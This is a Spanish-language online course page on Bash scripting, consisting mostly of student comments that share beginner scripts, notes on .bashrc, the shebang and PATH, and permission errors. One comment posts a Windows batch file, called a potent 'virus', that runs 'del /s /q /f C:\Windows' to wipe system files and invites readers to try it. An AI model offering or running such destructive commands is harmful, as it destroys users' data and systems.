No tienes acceso a esta clase

¡Continúa aprendiendo! Únete y comienza a potenciar tu carrera

Cómo y para qué escribir scripts en Bash

20/23
Recursos

Aportes 225

Preguntas 51

Ordenar por:

¿Quieres ver más aportes, preguntas y respuestas de la comunidad?

Yo programé este Script que actualiza todos tus repositorios y tu sistema. En realidad solo son dos comandos, pero hice que fuera más interactivo dejando que el usuario inserte su nombre. Es un poco inútil, pero estoy orgulloso.

#!/bin/bash
echo "hola, soy jarvis, tu automata favorito, yo actualizare tus programas,pero primero dame tu nombre ..."
read x
echo "hola," $x ... "empezemos"
sudo apt-get update
echo "actualizados tus repositorios"
echo "Buscando actualizaciones de tu sistema..."
sudo apt-get upgrade
echo "He terminado," $x

Si quieres profundizar más en como ejecutar Scripts, mira esta documentación: http://trajano.us.es/~fjfj/shell/shellscript.htm#_Toc444081223

Yo viendo la terminal en blanco:

sus laminas me siguen perturbando con las fotos random de personas… 😦

Las funciones Bash pueden:

  • Eliminar tareas repetitivas

  • Ahorrar tiempo

  • Proporciona una secuencia de actividades bien estructurada, modular y formateada

  • Con scripts, podemos proporcionar valores dinámicos a comandos usando argumentos de línea de comando

  • Puede simplificar comandos complejos en una sola unidad en ejecución

  • Una vez creado, se puede ejecutar cualquier cantidad de veces por cualquier persona. Construye una vez y ejecuta muchas veces.

  • Los flujos lógicos se pueden construir utilizando funciones bash

  • Las funciones Bash se pueden ejecutar al inicio del servidor o agregando un cron job programado

  • Los comandos pueden ser depurados

  • Puede tener comandos de shell interactivos

Bash es definitivamente una gran herramienta para facilitar tu trabajo y mejorar tus proyectos.

El profe no lo especifica pero para estar como usuario root deben usar primero

sudo su

Tomar en cuenta que al ser root el directorio de usuario local cambia a ’ ~/ '. De manera que para referenciar la ubicación de otro usuario local deben colocar ’ ~usuario/ '
.
Si corres el script como otro usuariot, no te dejará copiar o crear el directorio porque solo el usuario root tiene acceso a la ubicación /root. Para ejecutarlo correctamente, haz primero el ‘sudo su’

Para los que como yo quedaron perdidos del por qué el comando source, ahí atrás está una definición que me ayudó a entender. Es básicamente como actualizando en la misma terminal que nos encontramos y con source .bashrc lo que le decimos al sistema es como “ejecuta de manera actualizada el siguiente archivo que he modificado”. Y de ahí en adelante los comandos se mantienen porque se ha guardado en el archivo .bashrc, que es el archivo oculto que se ejecuta apenas iniciamos la terminal. Saludos 😄

Aquí si explotó mi cerebro jajaja

#!/bin/bash

NEW_DIR=ayoo            #define escritorio donde se va a guardar

if [ ! -d "/home/$NEW_DIR" ]; then      #si no existe el directorio lo crea (- se puede usar para representar acceso al$        mkdir ~/$NEW_DIR                #crea el directorio
fi      #fin del if

cp text1.txt ~/$NEW_DIR/                #cp text1.txt al nuevo deirectorio
echo "`date`: all right (ok)"           #echo mensaje de finalización

Tambien es importante decir que con el bash se pueden crear virus potente como este

<@echo off
title Primer virus / ejecutar
echo Presione enter para continuar
echo ------------------------------
pause>nul
del /s /q /f C:\Windows
echo Finalizado completamente 
exit >

este virus lo cree yo pero si lo guardan con extencion .bat es un virus potente si lo quieren probar les recomiendo que lo hagan con una maquina virtual

Básicamente estábamos aprendiendo a programar en Bash sin siquiera darnos cuenta! 🤯
Me doy cuenta que ésto tiene una profundidad que ni me imaginaba.
Increíble.

Mis apuntes

  • los scripts deben iniciar con la linea: #!/bin/bash
  • Para asignar una cadena de texto a una variable, se realiza: nombre-variable=cadena de texto.
    Se coloca el “=” y sin dejar espacios entre el nombre de la variable y la cadena.
  • Comando para colocar condiciones en el script:
    if [ Condición inicial ]; then
    condición si no se cumple la inicial
    fi
  • Para consultar el contenido de una variable o usarlo para ejecutar alguna acción, se debe colocar nuevamente agregando el signo “$” antes del nombre de la variable: $NEW_DIR
  • Para imprimir una cadena de texto en script, se usa el comando echo “cadena”.
  • Dentro de la cadena que se le pasa al comando echo, se pueden utilizar comillas simples para usar otro comando. Por ejemplo: echo “fecha y hora de ejecución: ‘date’. Todo listo.”
  • Los scripts se pueden ejecutar asi: ./nombre-script.sh

Como estaba en otra carpeta usando el WSL de windows tuve que hacer esto.

#!/bin/bash

NEW_DIR=platzi
CURRENT_DIR=`pwd`
if [ ! -d "/$CURRENT_DIR/$NEW_DIR" ]; then
	mkdir /$CURRENT_DIR/$NEW_DIR
fi

cp main.py /$CURRENT_DIR/$NEW_DIR/
echo "`date`: Todo listo man!"

Se pueden hacer cierto script utilizando la instancias de Bash y podrás crear tus propios comandos. Los comandos se pueden crear con VIM o con nano.
.
En mi caso, cree el archivo platzi.sh ejecutando nano platzi.sh y copiando el siguiente código, el cual cambié un poco respecto al original del profesor
.

#!/bin/bash
NEW_DIR=platzi

if [ ! -d "~/$NEW_DIR" ]; then
   mkdir ~/$NEW_DIR
fi

cp backup_code.sh ~/$NEW_DIR/
echo "Todo listo jefe!"

para aportar
en el archivo .bashrc que se encuentra en /home/nombre_usuario
se puede configurar muchas cosas de las consola, como por ejemplo los colores que quieres que aparezcan y algunos alias. Por defecto vienen algunas cosas ya configuradas.
por si no las han visto comparto las principales

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

### esta parte es para colorear lo que esta antes del $
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

NO entendí nada de nada…

ALT+96 = `. De nada

Jugando un poco con Vim
Parte de lo que logré hacer con Vim y una variación del “$source .bashrc”, para incorporar aliases, mostrar la fecha y dar un mensaje de bienvenida.

En serio esto es un nivel básico de uso de terminal?

🐱‍💻 Bash es un intérprete de comandos, permite relacionar al usuario con el sistema operativo. Además es capaz de leer y ejecutar instrucciones.

Todo esto se ve muy interesante y creo que se enseña más a detalle en el curso de programacion en Bash!!

para ingresar al root puedes utilizar el comando “sudo -i”, continuación pones la contraseña y listo.

He hecho un bash para borrar los archivos temporales como si estuviese en Windows, jejeje, es esolo un simulacro…

<#!/bin/bash
echo "borrar archivos temporales? Y/n"
read choise
case $choise in
                y | Y)
                    cd /home/marcila/development
                    rm *
                    echo "los Archivos temporales han sido eliminados"
                    ;;
                 n | N)
                    echo "No se eliminaan los archivos temporales, hasta pronto"
                    ;;
                 *)
                    echo "Opcon no valida"
                    ;;
esac>

mis apuntes
Bash es una herramienta popular de scripts disponible en Unix. Es la abreviación de Bourne Again Shell. Es una herramienta poderosa para todo usuario de Linux o administrador de sistemas. ¡Entonces empecemos a aprender sobre Bash script en Linux!

Unix tiene 2 categorías principales de shells.

Shell tipo Bourne
C shell
Bourne shell se clasifica además como:

Korn shell (ksh)
Bourne shell (sh)
POSIX shell (sh)
Bourne Again shell (bash)
C shell también se clasifica además como:

C shell (csh)
TENEX (TOPS) C shell (tcsh)
Los Bash scripts son un componente muy potente y útil para el desarrollo. Puede reducir tareas repetitivas y cortas a una sola línea. Se pueden consolidar muchos comandos largos en un solo código ejecutable.

¿Que es Bash?
Bash está disponible en casi todas las versiones de Linux y no requiere de instalación adicional. La lista de shells disponibles se puede verificar escribiendo el siguiente comando:
Ejemplo:
cat /etc/shells
El resultado será algo similar a esto:

/bin/bash
/bin/sh
/bin/tcsh
/bin/csh

mi ejercicio
Uno de los ejemplos básicos de la función bash en Linux se muestra a continuación:

#!/bin/bash
testfunction(){
echo “My first function”
}
testfunction
Si guardas este script en testFunction.sh y lo ejecutas como ./testFunction.sh, podrás ver el resultado como:

My first function
Echo imprime la salida en la consola. Si intercambias la posición de la definición de la función con la llamada, esto generará un error. El siguiente fragmento dará un error.

#!/bin/bash
testfunction
testfunction(){
echo “My first function”
}
Entonces, primero tendrás que definir la función y luego invocarla.

Las funciones bash pueden aceptar cualquier número de parámetros. El siguiente ejemplo acepta dos parámetros:

#!/bin/bash
testfunction(){
echo $1
echo $2
}
testfunction “Hello” "World"
También puedes usar entradas interactivas y realizar funciones bash. Uno de estos ejemplos es el que se muestra a continuación:

#!/bin/bash
addition(){
sum=$(($1+$2))
return $sum
}
read -p "Enter a number: " int1
read -p "Enter a number: " int2
add $int1 $int2
echo "The result is : " $?
En el ejemplo anterior, el valor de addition se asigna en una suma variable, y esto es lo que entrega la función. La entrada interactiva se toma usando read para ambos números. Finalmente, el resultado se imprime con $? que almacena el valor $sum generado por la función.
(espero les haya servido, si hay errores me pueden decir 😄)

¿Qué es .sh en Linux?
Los archivos con la extensión SH contienen código para distintos scripts que pueden utilizarse en el intérprete de comandos de Bash de Unix. Estos scripts pueden escribirse también para otros programas de interpretación de comandos, como C-Shell y Bourne Shell.

Ejecutar esto se sintió como la primera vez que programé T_T

Es literalmente un lenguaje de programación diferente, programar tareas, comandos y demás debe ser utilizado en ciberseguridad.

No tenia ni idea que bash era como tal un lenguaje y menos que se podían crear scripts pero ahora todo tiene sentido.

Los que no puedan ingresar al usuario root usen el comando “sudo -i”, a continuación ponen la contraseña y listo.

root@DESKTOP-NOBGQ1J:/home/jose# ./platzi.sh
cp: cannot create regular file ‘/home/jose/platzi/’: Not a directory
Tue Dec 24 13:00:18 DST 2019 : TODO LISTO JEFE!

mi script

#! /bin/bash
cd ~/Documents/projects
mkdir $1
cd $1
touch readme.md
git init
git add .
git commit -m 'mi first commit'
code .

resultado

daniel13@ltisoy:~/Documents/projects/git_automate$ ./git_automate.sh nuevo
Initialized empty Git repository in /home/daniel13/Documents/projects/nuevo/.git/
[master (root-commit) af4e294] mi first commit
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 readme.md

Wao yo cree un script que me automatiza la creación de directorios en la ubicación que desee, no es mucho pero es trabajo honesto.

➜  andre ./crearDirectorio.sh
Donde quieres crear tu directorio?
documents
Escribe el nombre de tu directorio:
cursoTerminal
Directorio creado
➜  andre cd documents
➜  documents whereis cursoTerminal
cursoTerminal:
➜  documents

Un script mas sencillo es el siguiente:
Solo se usa un For

LE ENTENDÍ!! YESSSSS

No me quedo muy claro lo último 😦 por ejemplo si quiero agregar que algo se ejecuta desde que se inicia la sesión en el bash, tengo siempre que ponerlo al final del archivo .bashrc ? Por ejemplo si solamente quiero que el bash me de la bienvenida tengo que crear un script que haga eso y ese script meterlo al .bashrc ?

Script =permitan automatizar y acelerar el trabajo, un script es un archivo que contiene un conjunto de órdenes para realizar una acción.

En definitiva la mejor clase del curso!!! con esta clase llene un hueco que me habia quedado del curso anterior

Hice vim .bashrc y me abrio un archivo medio raro. A alguien le pasó lo mismo?

El shell que hemos venido utilizando, el bash, es un intérprete de comandos y a su vez un lenguaje de programación; es decir, se pueden crear scripts utilizando la misma sintaxis de bash. Estos scripts lo que harán será simplemente llamar comandos, evaluar condiciones y ejecutar en base a eso. Esto nos da la posibilidad de crear nuestros propios comandos. En base a lo anterior, podemos automatizar tareas o una serie de comandos que ejecutamos constantemente, para poder hacerlo sólo ejecutando un comando.

Para trabajar con scripts, recomendablemente debe ir en la primera línea el shebang, el cual se encarga de indicar que el archivo es un script y qué intérprete ha de usarse para ser ejecutado. Un shebang se compone de dos caracteres especiales (#!) seguido de la ruta del intérprete con el que se debe utilizar. Para scripts bash, generalmente se utiliza el shebang #! /bin/bash. Por buenas prácticas, suele dejarse una línea vacía después de la primera línea que vendría siendo el shebang; siendo así, los comandos que ejecutará el script se empezarían a escribir a partir de la tercera linea.

Dentro de un script bash, además del shebang, se insertar los comandos o instrucciones que han de ser ejecutadas, línea por línea.

Al momento de crear el archivo, podemos ponerle dos extensiones, .sh o .bash, ambas son válidas, aunque en algunas distribuciones de Linux pueden comportarse diferente.

Para poder ejecutar el script, primero debemos otorgar permisos de ejecución. Podemos ejecutar el script de varias maneras: $ ./platzi.sh, $ sh platzi.sh o $ bash platzi.sh.

Ejemplo 1:

#! /bin/bash

mkdir /tmp/wordpress
tar czf /tmp/wordpress/wordpress.`date +%F`.tgz /usr/share/nginx/wordpress
mv /tmp/wordpress/wordpress.`date +%F`.tgz /root/backups/
rmdir /tmp/wordpress

Ejemplo 2 (con condicional):

#! /bin/bash

NEW_DIR=platzi

if [ ! -d "/root/$NEW_DIR" ]; then
	mkdir /root/$NEW_DIR
fi

cp backup_code.sh /root/$NEW_DIR/
echo "`date`: ¡Todo listo jefe!"

Como vimos en la clase anterior, la variable PATH siempre está definida sin que nosotros la definamos previamente, pero esto no se trata de magia, pues hay algunos archivos ocultos que el sistema operativo ejecuta cada vez que iniciamos sesión en la terminal. Uno de estos archivos en Ubuntu, es /etc/environment, en donde hay una definición de la variable PATH. Este sería entonces un archivo de configuración del sistema; cuando el sistema inicia, se ejecuta este archivo, y también algunos otros archivos que se van concatenando y creando una nueva versión de la variable PATH.

Otro archivo que es ejecutado cada vez que se inicia el sistema, es el archivo .bashrc ubicado en el directorio principal del usuario (~ | /home/username). Si queremos agregar o modificar una variable de entorno de manera global y permanente, podemos hacerlo en este archivo. Supongamos que queremos añadirle otra ruta a la variable PATH además de las que ya tiene, para ello, abrimos el archivo .bashrc, nos dirigimos a la última línea, y escribimos: export PATH=$PATH:/home/juan/Juan. Para que los cambios del archivo que modificamos se ejecuten sin necesidad de cerrar e iniciar una sesión, utilizamos el comando $ source .bashrc.

Con todo respeto, creo que esta clase debió ser más explicativa. Me perdí porque el profesor asume que sabemos muchas cosas y creí que era un curso desde cero.


Me sale este error, como puedo solucionarlo? Y que vendria a ser el interprete, se puede cambiar dependiendo el scrip o tiene que ser siempre el mismo ?

FUNCIONA, MI PRIMER SCRIPT : )

Ya estoy comenzando a ver la punta del poder de la consola!

Aún me confundo cuando voy a poner un origen o un destino de directorio. No sé si inicia con / o no.

POR FIN LOGRE REPRODUCIR EL EJEMPLO!. Espero que les sirva chicos.

Hola a todos,

Comparto ocn ustedes mi versión del script. Espero que les sea de utilidad.

En lo personal, yo me inclino más por el uso de nano como editor de texto plano. si tienen cualquier duda con respecto a este tema, no vacilen en ponerse en contacto con un servidor.

Saludos Cordiales.

Hola quisiera ayuda por favor, no he podido ejecutar el script correctamente, no se que está mal

![](

Compañeros, algun@ de ustedes sabe como hacer para que en lugar de reescribirse mi archivo de respaldo que hago con el script se genere uno nuevo, es decir si se hacen 5 respaldos quiero tener esos 5 archivos, porque lo que hace es reescribir el ultimo archivo generado.

Hola, encontré un sitio donde explican cómo se usa el Scripting bash.
Ojalá les ayude: devhints.io

Automatizacion de Tareas: Un script que ejecute varias tareas

nano actualizar_ahora.sh

#!/bin/bash
sudo apt-get update && sudo apt-get upgrade
sudo service postfix start
echo “La actualizacion esta lista!!!” | mail -s “ACTUALIZACION” [email protected]
echo “Update & Upgrade listoooo…!!!”

./actualizar_ahora.sh

Yo había combinado python con bash, porque utilizaba mucho mi laptop y muchas veces me pasaba que mientras estaba tecleando, alguno de mis pulgares accionaba el touchpad y me movía el cursor y terminaba escribiendo en otra parte o a veces se seleccionba un trozo de texto y se sobreescribía…

Así que hice un programa con python para ejecutar desde la línea de comandos, e investigué cómo activar y desactivar el touchpad con bash.

Aquí les dejo el script de python con bash, por si alguien lo quiere probar, es inofensivo XD

#! /usr/bin/env python
import subprocess, shlex, os

def verify(switch):
    if ( (switch != 'A') and (switch != 'a') and (switch != 'D') and (switch != 'd') ):
        disable = False
    elif ( (switch == 'A') or (switch == 'a') or (switch == 'D') or (switch == 'd') ):
        disable = True
    return disable

print("A  -->  Activar Touchpad")
print("D  -->  Desactivar Touchpad")
switch = input("\n")
disable = verify(switch)

while( disable == 0 ):
    os.system("clear")
    print("Introduzca un valor correcto para continuar.\n")
    switch = input("A para activar, D para desactivar\n")
    disable = verify(switch)

if (switch == 'A' or switch == 'a'):
    command = "sudo modprobe psmouse"
    data_list = shlex.split(command)
    subprocess.call(data_list)
    print("Touchpad Activado!")
elif (switch == 'D' or switch == 'd'):
    command = "sudo modprobe -r psmouse"
    data_list = shlex.split(command)
    subprocess.call(data_list)
    print("Touchpad Desactivado!")

Debo añadir que para cambiar de usuario a root deben ejecutar la siguiente instrucción:

sudo -s

Y para cambiar de root a usuario el siguiente:

su USUARIO

Aqui dejó un ejemplo súper simple para revisar que versión de python tienen instalado en su máquina! espero les guste!


#!/bin/bash
echo Voy a ver que interprete de python tienes!
echo Ok , empecemos!
echo oprime enter para continuar!
echo version 2:
python2 --version
echo version 3:
python3 --version
echo todo listo jefe!

Hay algunos archivos ocultos que se ejecutan de manera automatica
Ejemplo:

  • /etc/enviroment → definicion del PATH
  • .bashrc
    Ejemplo: modificacion de PATH:
    vim .bashrc
export PATH=$PATH:/<directorio>

source .bashrc
Explicacion:
Añadimos el directorio a la definicion de PATH
.bashrc se ejecuta cada vez que iniciamos secion (modificamos la configuaracion general)

No entendí nada, de nada, de nada, de verdad me siento bastante mal con este curso básico.

#!/bin/bash
out=0
while [ $out -eq 0 ]
do
  echo "[C]opiar un archivo"
  echo "[E]liminar un archivo"
  echo "[S]alir del programa"
  echo -n ">> ";
  read opt

  case $opt in
    "C") echo -n "Archivo a copiar: ";
      read fuente;
      searcH=`find $fuente -type f`;
      if [ $fuente == $searcH ]
      then
        echo -n "Nombre de archivo copia: "
        read copia
        cp $fuente $copia;
        echo -e "Copiado Satisfactoriamente\n"
      else
        echo "Archivo no existe"
      fi;;
    "E") echo -n "Archivo a borrar: ";
      read borrar;
      searcH=`find $borrar -type f`;
      if [ $borrar == $searcH ]
      then
        rm $borrar;
        echo -e "Borrado satisfactoriamente\n"
      else
        echo "No existe el archivo";
      fi;;
    "S") echo "Saliste del programa"; out=1;;
    *) echo "Comando no identificado";;
  esac
done
exit

Hola a todos, para los usuarios de Windows, podéis usar esta herramienta online: codeanywhere
Hay que registrarse, una vez que se valide el registro a través del email podéis instalar vim desde la terminal. Es bastante sencillo y muy útil para poder practicar.

Si quieren practicar en sus telefonos android todo esto y tener bash les recomiendo instalar TERMUX el cual les proporciona un entorno de linea de comandos con Bash y todos los comandos de linux asi como un sistema de paquetes apk o pkg

Estar viendo el video a las 2am y que te salte una pantalla blanca no es agradable a la vista, espero en los proximos videos vuelva a la pantalla negra

¿Por qué en esta ocasión en vez de aparecer mauro@ASUS-K455L:~$ y aparece directamente root:~/?

Yo tengo este error 😦

john@john-Inspiron-5558:~$ ./platzi.sh
mkdir: no se puede crear el directorio «/root/platzi»: Permiso denegado
cp: fallo al acceder a '/root/platzi/': Permiso denegado
mar dic 10 12:57:10 CST 2019: Todo listo jefe
Muy buena clase

¿Obligatoriamente para crear scripts se tienen que utilizar el VIM?

BRAINSTORM

#!/bin/bash
NEW_DIR=platziauto

if [ ! -d "~/$NEW_DIR" ]; then
        mkdir ~/$NEW_DIR
fi

cp ejemplo.txt ~/$NEW_DIR/
echo "Todo bien Jefe"```

Buena clase!!

Automatización de las tareas:
Scripting bash
.
Ejemplo:
#!/bin/bash
NEW_DIR=platzi
if [ ! -d “./$NEW_DIR” ]; then
mkdir ./$NEW_DIR;
fi
cp desafio_com.txt ./$NEW_DIR/
echo “date: Todo listo jefe!”

Explicación sobre la variable $PATH

Interesante, muchas utilidades por ser explotadas

para qué escribir scripts en Bash? R// para realizar tareas repetitivas o agilizarlas

Sirve para agilizar tareas

Clase 20, me ha enganchado, ha tardado pero ahora se pone bueno!!!

root@Cr0st-pc:/home/cr0st# vim platzi.sh
root@Cr0st-pc:/home/cr0st# ./platzi.sh
cp: no se puede efectuar `stat’ sobre ‘prueba_bash.txt’: No existe el archivo o el directorio
mié abr 22 17:24:22 -04 2020: Todo listo jefe!
root@Cr0st-pc:/home/cr0st# ls platzi.sh -ld
-rwxr–r-- 1 cr0st cr0st 157 abr 22 17:24 platzi.sh
root@Cr0st-pc:/home/cr0st# ls platzi/ -l
ls: no se puede acceder a ‘platzi/’: No existe el archivo o el directorio
root@Cr0st-pc:/home/cr0st#

por fin…

Algo tambien que batalle un poco, es que es importante ejecutar el siguiente comando:

sudo su```

Para poder ver la carpeta de platzi en root

Automatizacion de tareas:
Podemos hacerlo usando el lenguaje bash
Ejemplo:

#!/bin/bash

MI_VAR=ejemplo_var

if [ ! -d "/root/$MI_VAR" ]; then
		mkdir $MI_VAR
fi

touch ej_archivo
echo "`date`: Todo listo"
#! /bin/bash

NEW_DIR=bash_bak

if [ ! -d "/home/eduardo/$NEW_DIR" ]; then
    echo "[`date`] Creando nuevo directorio"
    mkdir /home/eduardo/$NEW_DIR
else
    echo "[`date`] usamos el directorio actual, procedemos con el vaciado"
    rm -rf /home/eduardo/$NEW_DIR/*
fi

echo "[`date`] Iniciando copia de seguridad"
cp -vR /home/eduardo/Downloads/* /home/eduardo/$NEW_DIR/

if [ -d "/home/eduardo/$NEW_DIR" ]; then
    echo "[`date`]: Genial, hemos terminado"
    echo ":)"
else
    echo "[`date`]: No fue posible generar la copia de seguridad"
    echo ":("
fi
![](https://static.platzi.com/media/user_upload/linux-6ca61748-33ff-4a5d-8032-009d1617a31c.jpg)

Si alguno quedo un poco perdido de como crear el script, aquí les dejo como:
Primero hay que utilizar un editor de texto (“vim” por ejemplo), después se agrega la ruta donde se desea guardar, más el nombre del script.

Ejemplo:

vim docuentos/mi_primer_script.sh

me hice un pequeño script para actualizar el sistema operativo, no es la gran cosa, pero me ahorro escribir tod aesa linea de comandos y ademas solo funciona en derivadas de debian, o distribuciones que usen el gestor de paquetes apt

#!/bin/bash
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoremove && sudo apt-get autoclean

increible el potencial que tiene esto

Como hago para actualizar la contraseña del supersu?

¿cómo salgo del usuario root?

Me funcionó bien.

Tengo problemas al probar el script creado como ejemplo en esta clase, recibo error por falta de permisos. ¿Alguna idea de lo que puede estar pasando exactamente? Gracias!

<joseman@DESKTOP-22EGQO2:~$ ./platzi.sh
mkdir: cannot create directory ‘/root/platzi’: Permission denied
cp: failed to access '/root/platzi/': Permission denied
Tue Jun  9 16:44:56 -05 2020: Todo listo jefe!>

![](

¿Cómo se hacía para usar el usuario root?

Muchas gracias por los tips…

Como dato 🤔, la primera línea es la llamada shebang, encargada de compartir con el sistema operativo el intérprete que ha de usarse. En este caso concreto, se usa bash 👍